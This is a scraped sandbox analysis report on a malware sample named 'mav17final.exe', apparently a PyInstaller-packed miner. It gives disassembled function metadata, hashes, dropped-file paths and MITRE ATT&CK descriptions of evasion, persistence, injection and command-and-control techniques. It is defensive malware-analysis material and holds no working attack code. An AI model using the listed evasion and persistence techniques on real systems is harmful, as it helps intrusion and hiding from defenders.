Instruction Fuzzy Hash: A9E04F21F18B8546FB641E2DED8427522925BA53F2F4E2131DB99053D9CD2CD881A714

Function 00007FF8B9F6E940 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON311 ref: 00007FF8B9F6E96E

Strings

<Field type=%s, ofs=%zd:%zd, bits=%zd>, xrefs: 00007FF8B9F6E962
<Field type=%s, ofs=%zd, size=%zd>, xrefs: 00007FF8B9F6E979

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: FormatFromUnicode_
String ID: <Field type=%s, ofs=%zd, size=%zd>$<Field type=%s, ofs=%zd:%zd, bits=%zd>
API String ID: 3889672380-2914491812
Opcode ID: 08e4dafb61acecda0dd77ce9d4e7f7947246ca23280beaed436fd91f997484e9
Instruction ID: e67b0e936adf2c69a2f4edf01d2732dec0990640da6c2d58345962f70742a1d8
Opcode Fuzzy Hash: 08e4dafb61acecda0dd77ce9d4e7f7947246ca23280beaed436fd91f997484e9
Instruction Fuzzy Hash: 97E0E566B04E82D2DA548F0DE8404A83B60FB56BA9BA50126CB4C03370CF3CD5AAC750

Function 00007FF8B9F63DF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON311 ref: 00007FF8B9F68A90
PyErr_SetString.PYTHON311 ref: 00007FF8B9F68AAC

Strings

PyObject is NULL, xrefs: 00007FF8B9F68AA2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$OccurredString
String ID: PyObject is NULL
API String ID: 114435612-3221357749
Opcode ID: 2e5002b93a88984c719b4076089918ef8885b05004490f6185a51e22d0327163
Instruction ID: 27505ec19bb24dfb1793d154a13e93e3875fc157042bf4f7430bea54ecf81395
Opcode Fuzzy Hash: 2e5002b93a88984c719b4076089918ef8885b05004490f6185a51e22d0327163
Instruction Fuzzy Hash: 6DE0BF11B09A83A5EE445F1DD84013427A0AF49BF7F645439CB0E46360DF2CA055C310

Function 00007FF8B9F6F3B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

PyCapsule_GetPointer.PYTHON311 ref: 00007FF8B9F6F3BF
PyMem_Free.PYTHON311 ref: 00007FF8B9F6F3CD

Strings

_ctypes/cfield.c pymem, xrefs: 00007FF8B9F6F3B8

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Capsule_FreeMem_Pointer
String ID: _ctypes/cfield.c pymem
API String ID: 1268649101-2578739719
Opcode ID: 13f5c1952ace5f4f8c9f181e4b2ebf5f0c2b934a391285e14cb501e27f568ab5
Instruction ID: f91d566f97c2777f67eaa8d3eb0748db5528ea0def0e1e99b1e0b08b22718c95
Opcode Fuzzy Hash: 13f5c1952ace5f4f8c9f181e4b2ebf5f0c2b934a391285e14cb501e27f568ab5
Instruction Fuzzy Hash: 23C00250F1AB8292ED88AF59EC8613417606F49BAAF981438C60D15360EEACA59AC710

Function 00007FF8B9F6DEB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

PyCapsule_GetPointer.PYTHON311 ref: 00007FF8B9F6DEC3
PyMem_Free.PYTHON311 ref: 00007FF8B9F6DED1

Strings

_ctypes pymem, xrefs: 00007FF8B9F6DEBC

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Capsule_FreeMem_Pointer
String ID: _ctypes pymem
API String ID: 1268649101-201515578
Opcode ID: 62ef90d10503a54e82f353289ff9a1ab72bad7d0f7bb64e3368930f79f513158
Instruction ID: fb6cfb0e49bac64e0558dec66497e927ca49432cdf951de1ac2a5451a09e7503
Opcode Fuzzy Hash: 62ef90d10503a54e82f353289ff9a1ab72bad7d0f7bb64e3368930f79f513158
Instruction Fuzzy Hash: 10C00210E1ABC282ED88AF19EC8557417A0AF55BABF881438C70E16360EE2CA5A9D710

Function 00007FF8BA2469DC Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF8BA246859,?,?,?,?,00007FF8BA24FF42,?,?,?,?,?), ref: 00007FF8BA2469FB
SetLastError.KERNEL32(?,?,?,00007FF8BA246859,?,?,?,?,00007FF8BA24FF42,?,?,?,?,?), ref: 00007FF8BA246A84

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: bbe9895d534b658101cce7e74ca5bd95b80ee12bf15f37732e53d0ee5c009e2b
Instruction ID: a4f52af51b1ad67467a303afd1433ebb21cfb398eacf5c156aceaf118c0df3df
Opcode Fuzzy Hash: bbe9895d534b658101cce7e74ca5bd95b80ee12bf15f37732e53d0ee5c009e2b
Instruction Fuzzy Hash: D1117520E19B1381FA149B2DAA1413532917F48FE0F0886B4DF6E077D5EE3CF441B640

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mav17final.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\dialer.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI19682\_ssl.pyd

Windows Analysis Report
mav17final.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre